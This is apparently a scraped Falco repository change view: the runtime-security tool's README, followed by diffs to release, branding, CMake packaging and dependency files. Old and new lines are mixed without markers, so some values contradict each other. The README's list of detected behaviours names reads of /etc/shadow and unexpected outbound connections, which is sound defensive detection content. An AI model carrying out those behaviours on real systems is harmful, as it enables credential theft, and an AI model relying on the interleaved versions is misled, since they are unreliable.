| rpm-arm64 | [![rpm-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm-dev%2Ffalco-%26delimiter=x86_64)][1] | [![rpm](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm%2Ffalco-%26delimiter=x86_64)][2] |
| deb-arm64 | [![deb-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb-dev%2Fstable%2Ffalco-%26delimiter=x86_64)][3] | [![deb](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb%2Fstable%2Ffalco-%26delimiter=x86_64)][4] |
| binary-arm64 | [![bin-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin-dev%2Faarch64%2Ffalco-)][7] | [![bin](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin%2Faarch64%2Ffalco-)][8] |
[![Build Status](https://img.shields.io/circleci/build/github/falcosecurity/falco/master?style=for-the-badge)](https://circleci.com/gh/falcosecurity/falco) [![CII Best Practices Summary](https://img.shields.io/cii/summary/2317?label=CCI%20Best%20Practices&style=for-the-badge)](https://bestpractices.coreinfrastructure.org/projects/2317) [![GitHub](https://img.shields.io/github/license/falcosecurity/falco?style=for-the-badge)](COPYING)
---
The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack.
Falco can also be extended to other data sources by using plugins.
Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.
Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel. Falco then enriches this data with other input streams such as container runtime metrics, and Kubernetes metrics. Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
### What can Falco detect?
Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project. If you are an organization that wants to help shape the evolution of technologies that are container-packaged, dynamically-scheduled and microservices-oriented, consider joining the CNCF. For details read the [Falco CNCF project proposal](https://github.com/cncf/toc/tree/master/proposals/falco.adoc).
Falco can detect and alert on any behavior that involves making Linux system calls.
Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process.
For example, Falco can easily detect incidents including but not limited to:
#### What kind of behaviors can Falco detect?
- A shell is running inside a container or pod in Kubernetes.
Falco can detect and alert on any behavior that involves making Linux system calls. Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, Falco can easily detect incidents including but not limited to:
- A shell is running inside a container.
- A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
- A server process is spawning a child process of an unexpected type.
- Unexpected read of a sensitive file, such as `/etc/shadow`.
- A non-device file is written to `/dev`.
- A standard system binary, such as `ls`, is making an outbound network connection.
- A privileged pod is started in a Kubernetes cluster.
### Installing Falco
If you would like to run Falco in **production** please adhere to the [official installation guide](https://falco.org/docs/getting-started/installation/).
A comprehensive [installation guide](https://falco.org/docs/installation/) for Falco is available in the documentation website.
##### Kubernetes
#### How do you compare Falco with other security tools?
| Tool | Link | Note |
|----------|--------------------------------------------------------------------------------------------|--------------------------------------------------------------------|
| Helm | [Chart Repository](https://github.com/falcosecurity/charts/tree/master/falco#introduction) | The Falco community offers regular helm chart releases. |
| Minikube | [Tutorial](https://falco.org/docs/getting-started/third-party/#minikube) | The Falco driver has been baked into minikube for easy deployment. |
| Kind | [Tutorial](https://falco.org/docs/getting-started/third-party/#kind) | Running Falco with kind requires a driver on the host system. |
| GKE | [Tutorial](https://falco.org/docs/getting-started/third-party/#gke) | We suggest using the eBPF driver for running Falco on GKE. |
### Developing
Falco is designed to be extensible such that it can be built into cloud-native applications and infrastructure.
Falco has a [gRPC](https://falco.org/docs/grpc/) endpoint and an API defined in [protobuf](https://github.com/falcosecurity/falco/blob/master/userspace/falco/outputs.proto).
The Falco Project supports various SDKs for this endpoint.
##### SDKs
| Language | Repository |
|----------|---------------------------------------------------------|
| Go | [client-go](https://github.com/falcosecurity/client-go) |
| Rust | [client-rs](https://github.com/falcosecurity/client-rs) |
| Python | [client-py](https://github.com/falcosecurity/client-py) |
### Plugins
Falco comes with a [plugin framework](https://falco.org/docs/plugins/) that extends it to potentially any cloud detection scenario. Plugins are shared libraries that conform to a documented API and allow for:
- Adding new event sources that can be used in rules;
- Adding the ability to define new fields and extract information from events.
The Falco Project maintains [various plugins](https://github.com/falcosecurity/plugins) and provides SDKs for plugin development.
One of the questions we often get when we talk about Falco is “How does Falco differ from other Linux security tools such as SELinux, AppArmor, Auditd, etc.?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco with other tools.
##### SDKs
Documentation
---
| Language | Repository |
|----------|-------------------------------------------------------------------------------|
| Go | [falcosecurity/plugin-sdk-go](https://github.com/falcosecurity/plugin-sdk-go) |
See [Falco Documentation](https://falco.org/docs/) to quickly get started using Falco.
### Documentation
The [Official Documentation](https://falco.org/docs/) is the best resource to learn about Falco.
### Join the Community
Join the Community
---
To get involved with The Falco Project please visit [the community repository](https://github.com/falcosecurity/community) to find more.
How to reach out?
License Terms
---
- Join the [#falco](https://kubernetes.slack.com/messages/falco) channel on the [Kubernetes Slack](https://slack.k8s.io)
- [Join the Falco mailing list](https://lists.cncf.io/g/cncf-falco-dev)
- [Read the Falco documentation](https://falco.org/docs/)
Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
Contributing
---
### Contributing
See the [CONTRIBUTING.md](./CONTRIBUTING.md).
See the [CONTRIBUTING.md](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md).
Security
---
### Security Audit
A third party security audit was performed by Cure53, you can see the full report [here](./audits/SECURITY_AUDIT_2019_07.pdf).
### Reporting security vulnerabilities
Please report security vulnerabilities following the community process documented [here](https://github.com/falcosecurity/.github/blob/master/SECURITY.md).
### License Terms
Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
[1]: https://download.falco.org/?prefix=packages/rpm-dev/
[2]: https://download.falco.org/?prefix=packages/rpm/
[3]: https://download.falco.org/?prefix=packages/deb-dev/stable/
[4]: https://download.falco.org/?prefix=packages/deb/stable/
[5]: https://download.falco.org/?prefix=packages/bin-dev/x86_64/
[6]: https://download.falco.org/?prefix=packages/bin/x86_64/
[7]: https://download.falco.org/?prefix=packages/bin-dev/aarch64/
[8]: https://download.falco.org/?prefix=packages/bin/aarch64/

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@@ -1,120 +0,0 @@
# Falco Release Process
Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
Falco releases are due to happen 3 times per year. Our current schedule sees a new release by the end of January, May, and September each year. Hotfix releases can happen whenever it's needed.
Moreover, we need to assign owners for each release (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community).
Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
## Pre-Release Checklist
Before cutting a release we need to do some homework in the Falco repository. This should take 5 minutes using the GitHub UI.
### 1. Release notes
- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
- Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
- If the PR has no milestone, assign it to the milestone currently undergoing release
- Check issues without a milestone (using `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) ) and add them to the milestone currently undergoing release
- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, update those missing
### 2. Milestones
- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
### 3. Release PR
- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
- If any, manually correct it then open an issue to automate version number bumping later
- Versions table in the `README.md` updates itself automatically
- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
- Execute `rn2md -o falcosecurity -m <version> -r falco`
- In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
- Add the latest changes on top the previous `CHANGELOG.md`
- Submit a PR with the above modifications
- Await PR approval
- Close the completed milestone as soon as the PR is merged
## Release
Now assume `x.y.z` is the new version.
### 1. Create a tag
- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
```
git pull
git checkout master
git tag x.y.z
git push origin x.y.z
```
> **N.B.**: do NOT use an annotated tag. For reference https://git-scm.com/book/en/v2/Git-Basics-Tagging
- Wait for the CI to complete
### 2. Update the GitHub release
- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
- Use `x.y.z` both as tag version and release title
- Use the following template to fill the release description:
```
<!-- Substitute x.y.z with the current release version -->
| Packages | Download |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| rpm | [![rpm](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/rpm/falco-x.y.z-x86_64.rpm) |
| deb | [![deb](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/deb/stable/falco-x.y.z-x86_64.deb) |
| tgz | [![tgz](https://img.shields.io/badge/Falco-x.y.z-%2300aec7?style=flat-square)](https://download.falco.org/packages/bin/x86_64/falco-x.y.z-x86_64.tar.gz) |
| Images |
| --------------------------------------------------------------------------- |
| `docker pull docker.io/falcosecurity/falco:x.y.z` |
| `docker pull public.ecr.aws/falcosecurity/falco:x.y.z` |
| `docker pull docker.io/falcosecurity/falco-driver-loader:x.y.z` |
| `docker pull docker.io/falcosecurity/falco-no-driver:x.y.z` |
<changelog>
<!-- Substitute <changelog> with the one generated by [rn2md](https://github.com/leodido/rn2md) -->
### Statistics
| Merged PRs | Number |
| --------------- | ------ |
| Not user-facing | x |
| Release note | x |
| Total | x |
<!-- Calculate stats and fill the above table -->
#### Release Manager <github handle>
<!-- Substitute GitHub handle with the release manager's one -->
```
- Finally, publish the release!
### 3. Update the meeting notes
For each release we archive the meeting notes in git for historical purposes.
- The notes from the Falco meetings can be [found here](https://hackmd.io/3qYPnZPUQLGKCzR14va_qg).
- Note: There may be other notes from working groups that can optionally be added as well as needed.
- Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/master/meeting-notes](https://github.com/falcosecurity/community/tree/master/meeting-notes) as a new file labeled `release-x.y.z.md`
- Open up a pull request with the new change.
## Post-Release tasks
Announce the new release to the world!
- Publish a blog on [Falco website](https://github.com/falcosecurity/falco-website) ([example](https://github.com/falcosecurity/falco-website/blob/master/content/en/blog/falco-0-28-1.md))
- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
- Let folks in the slack #falco channel know about a new release came out
- IFF the on going release introduces a **new minor version**, [archive a snapshot of the Falco website](https://github.com/falcosecurity/falco-website/blob/master/release.md#documentation-versioning)

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@@ -5,7 +5,7 @@
This document describes The Falco Project's branding guidelines, language, and message.
Content in this document can be used to publicly share about Falco.
Content in this document can be used to publically share about Falco.
@@ -15,21 +15,6 @@ There are 3 logos available for use in this directory. Use the primary logo unle
The Falco logo is Apache 2 licensed and free to use in media and publication for the CNCF Falco project.
### Colors
| Name | PMS | RGB |
|-----------|------|-------------|
| Teal | 3125 | 0 174 199 |
| Cool Gray | 11 | 83 86 90 |
| Black | | 0 0 0 |
| Blue-Gray | 7700 | 22 92 125 |
| Gold | 1375 | 255 158 27 |
| Orange | 171 | 255 92 57 |
| Emerald | 3278 | 0 155 119 |
| Green | 360 | 108 194 74 |
The primary colors are those in the first two rows.
### Slogan
> Cloud Native Runtime Security
@@ -43,7 +28,7 @@ The CNCF now owns The Falco Project.
### What is Runtime Security?
Runtime security refers to an approach to preventing unwanted activity on a computer system.
With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
With runtime security an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
@@ -56,7 +41,7 @@ If a rule has been violated, Falco triggers an alert.
### How does Falco work?
Falco traces kernel events and reports information about the system calls being executed at runtime.
Falco leverages the extended berkeley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel.
Falco leverages the extended berkley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel.
Falco enriches these kernel events with information about containers running on the system.
Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
At runtime, Falco will reason about these events and assert them against configured security rules.
@@ -113,7 +98,7 @@ Falco ultimately is a security engine. It reasons about signals coming from a sy
##### Anomaly detection
This refers to an event that occurs with something unusual, concerning, or odd occurs.
This refers to an event that occurs with something unsual, concerning, or odd occurs.
We can associate anomalies with unwanted behavior, and alert in their presence.
##### Detection tooling
@@ -139,13 +124,9 @@ Used to describe the `.ko` object that would be loaded into the kernel as a pote
This is one option used to pass kernel events up to userspace for Falco to consume.
Sometimes this word is incorrectly used to refer to a `probe`.
#### Driver
#### Driver (deprecated)
The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
#### Plugin
Used to describe a dynamic shared library (`.so` files in Unix, `.dll` files in Windows) that conforms to a documented API and allows to extend Falco's capabilities.
An older, more generalized term for a `module` or `probe`. We discourage the use of this word as a project.
#### Falco

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After

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@@ -1,13 +1,14 @@
if(CPACK_GENERATOR MATCHES "DEB")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d/")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d")
endif()
if(CPACK_GENERATOR MATCHES "RPM")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d/")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d")
endif()
if(CPACK_GENERATOR MATCHES "TGZ")
set(CPACK_SET_DESTDIR "ON")
set(CPACK_STRIP_FILES "OFF")
endif()

View File

@@ -1,3 +1,4 @@
/etc/falco/falco.yaml
/etc/falco/falco_rules.yaml
/etc/falco/rules.available/application_rules.yaml
/etc/falco/falco_rules.local.yaml

View File

@@ -1,68 +1,30 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
set(CPACK_PACKAGE_VENDOR "Cloud Native Computing Foundation (CNCF) cncf.io.")
set(CPACK_PACKAGE_CONTACT "cncf-falco-dev@lists.cncf.io") # todo: change this once we've got @falco.org addresses
set(CPACK_PACKAGE_CONTACT "opensource@sysdig.com") # todo: change this once we've got @falco.org addresses
set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "Falco - Container Native Runtime Security")
set(CPACK_PACKAGE_DESCRIPTION_FILE "${PROJECT_SOURCE_DIR}/scripts/description.txt")
set(CPACK_PACKAGE_VERSION "${FALCO_VERSION}")
set(CPACK_PACKAGE_VERSION_MAJOR "${FALCO_VERSION_MAJOR}")
set(CPACK_PACKAGE_VERSION_MINOR "${FALCO_VERSION_MINOR}")
set(CPACK_PACKAGE_VERSION_PATCH "${FALCO_VERSION_PATCH}")
set(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-${CMAKE_SYSTEM_PROCESSOR}")
set(CPACK_PROJECT_CONFIG_FILE "${PROJECT_SOURCE_DIR}/cmake/cpack/CMakeCPackOptions.cmake")
set(CPACK_STRIP_FILES "ON")
set(CPACK_PACKAGE_RELOCATABLE "OFF")
# Built packages will include only the following components
set(CPACK_INSTALL_CMAKE_PROJECTS
"${CMAKE_CURRENT_BINARY_DIR};${FALCO_COMPONENT_NAME};${FALCO_COMPONENT_NAME};/"
"${CMAKE_CURRENT_BINARY_DIR};${DRIVER_COMPONENT_NAME};${DRIVER_COMPONENT_NAME};/"
)
if(NOT MUSL_OPTIMIZED_BUILD) # static builds do not have plugins
list(APPEND CPACK_INSTALL_CMAKE_PROJECTS
"${CMAKE_CURRENT_BINARY_DIR};${PLUGINS_COMPONENT_NAME};${PLUGINS_COMPONENT_NAME};/"
)
endif()
set(CPACK_GENERATOR DEB RPM TGZ)
if(NOT CPACK_GENERATOR)
set(CPACK_GENERATOR DEB RPM TGZ)
endif()
message(STATUS "Using package generators: ${CPACK_GENERATOR}")
message(STATUS "Package architecture: ${CMAKE_SYSTEM_PROCESSOR}")
set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
endif()
if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "aarch64")
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "arm64")
endif()
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "https://www.falco.org")
set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0), libyaml-0-2")
set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA
"${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${CMAKE_BINARY_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
"${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
)
set(CPACK_RPM_PACKAGE_LICENSE "Apache v2.0")
set(CPACK_RPM_PACKAGE_ARCHITECTURE, "amd64")
set(CPACK_RPM_PACKAGE_URL "https://www.falco.org")
set(CPACK_RPM_PACKAGE_REQUIRES "dkms, kernel-devel, systemd")
set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postinstall")
set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/preuninstall")
set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postuninstall")
set(CPACK_RPM_PACKAGE_REQUIRES "dkms, kernel-devel, libyaml, ncurses")
set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")
set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/preuninstall")
set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postuninstall")
set(CPACK_RPM_PACKAGE_VERSION "${FALCO_VERSION}")
set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
/usr/src
@@ -71,7 +33,9 @@ set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
/etc
/usr
/usr/bin
/usr/share)
/usr/share
/etc/rc.d
/etc/rc.d/init.d)
set(CPACK_RPM_PACKAGE_RELOCATABLE "OFF")
include(CPack)

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@@ -45,7 +45,7 @@ string(REPLACE "\n" ";" output "${output}")
# Parse output
foreach(line ${output})
set(test ${line})
# use escape commas to handle properly test cases with commands inside the name
# use escape commas to handle properly test cases with commans inside the name
string(REPLACE "," "\\," test_name ${test})
# ...and add to script
add_command(add_test "${prefix}${test}${suffix}" ${TEST_EXECUTOR} "${TEST_EXECUTABLE}" "${test_name}" ${extra_args})

View File

@@ -1,5 +1,5 @@
#
# Copyright (C) 2020 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at

View File

@@ -1,5 +1,5 @@
#
# Copyright (C) 2020 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
@@ -14,8 +14,8 @@ include(ExternalProject)
set(CATCH2_INCLUDE ${CMAKE_BINARY_DIR}/catch2-prefix/include)
set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.13.9.tar.gz URL_HASH
SHA256=06dbc7620e3b96c2b69d57bf337028bf245a211b3cddb843835bfe258f427a52)
set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.9.1.tar.gz URL_HASH
MD5=4980778888fed635bf191d8a86f9f89c)
ExternalProject_Add(
catch2

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@@ -1,5 +1,5 @@
#
# Copyright (C) 2020 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
@@ -14,8 +14,8 @@ include(ExternalProject)
set(FAKEIT_INCLUDE ${CMAKE_BINARY_DIR}/fakeit-prefix/include)
set(FAKEIT_EXTERNAL_URL URL https://github.com/eranpeer/fakeit/archive/2.0.9.tar.gz URL_HASH
SHA256=dc4ee7b17a84c959019b92c20fce6dc9426e9e170b6edf84db6cb2e188520cd7)
set(FAKEIT_EXTERNAL_URL URL https://github.com/eranpeer/fakeit/archive/2.0.5.tar.gz URL_HASH
MD5=d3d21b909cebaea5b780af5500bf384e)
ExternalProject_Add(
fakeit-external

View File

@@ -1,30 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
include(ExternalProject)
set(STRING_VIEW_LITE_PREFIX ${CMAKE_BINARY_DIR}/string-view-lite-prefix)
set(STRING_VIEW_LITE_INCLUDE ${STRING_VIEW_LITE_PREFIX}/include)
message(STATUS "Using bundled string-view-lite in ${STRING_VIEW_LITE_INCLUDE}")
ExternalProject_Add(
string-view-lite
PREFIX ${STRING_VIEW_LITE_PREFIX}
GIT_REPOSITORY "https://github.com/martinmoene/string-view-lite.git"
GIT_TAG "v1.4.0"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
UPDATE_COMMAND ""
INSTALL_COMMAND
${CMAKE_COMMAND} -E copy ${STRING_VIEW_LITE_PREFIX}/src/string-view-lite/include/nonstd/string_view.hpp
${STRING_VIEW_LITE_INCLUDE}/nonstd/string_view.hpp)

View File

@@ -1,5 +1,5 @@
#
# Copyright (C) 2020 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at

View File

@@ -1,18 +1,6 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
# Retrieve git ref and commit hash
include(GetGitRevisionDescription)
get_git_head_revision(FALCO_REF FALCO_HASH)
# Create the falco version variable according to git index
if(NOT FALCO_VERSION)
@@ -21,43 +9,51 @@ if(NOT FALCO_VERSION)
git_get_exact_tag(FALCO_TAG)
if(NOT FALCO_TAG)
# Obtain the closest tag
git_describe(FALCO_VERSION "--always" "--tags" "--abbrev=7")
git_describe(FALCO_VERSION "--abbrev=0" "--tags") # suppress the long format
# Fallback version
if(FALCO_VERSION MATCHES "NOTFOUND$")
set(FALCO_VERSION "0.0.0")
endif()
# Format FALCO_VERSION to be semver with prerelease and build part
string(REPLACE "-g" "+" FALCO_VERSION "${FALCO_VERSION}")
# TODO(leodido) > Construct the prerelease part (semver 2) Construct the Build metadata part (semver 2)
if(NOT FALCO_HASH MATCHES "NOTFOUND$")
string(SUBSTRING "${FALCO_HASH}" 0 7 FALCO_VERSION_BUILD)
# Check whether there are uncommitted changes or not
git_local_changes(FALCO_CHANGES)
if(FALCO_CHANGES STREQUAL "DIRTY")
string(TOLOWER "${FALCO_CHANGES}" FALCO_CHANGES)
set(FALCO_VERSION_BUILD "${FALCO_VERSION_BUILD}.${FALCO_CHANGES}")
endif()
endif()
# Append the build metadata part (semver 2)
if(FALCO_VERSION_BUILD)
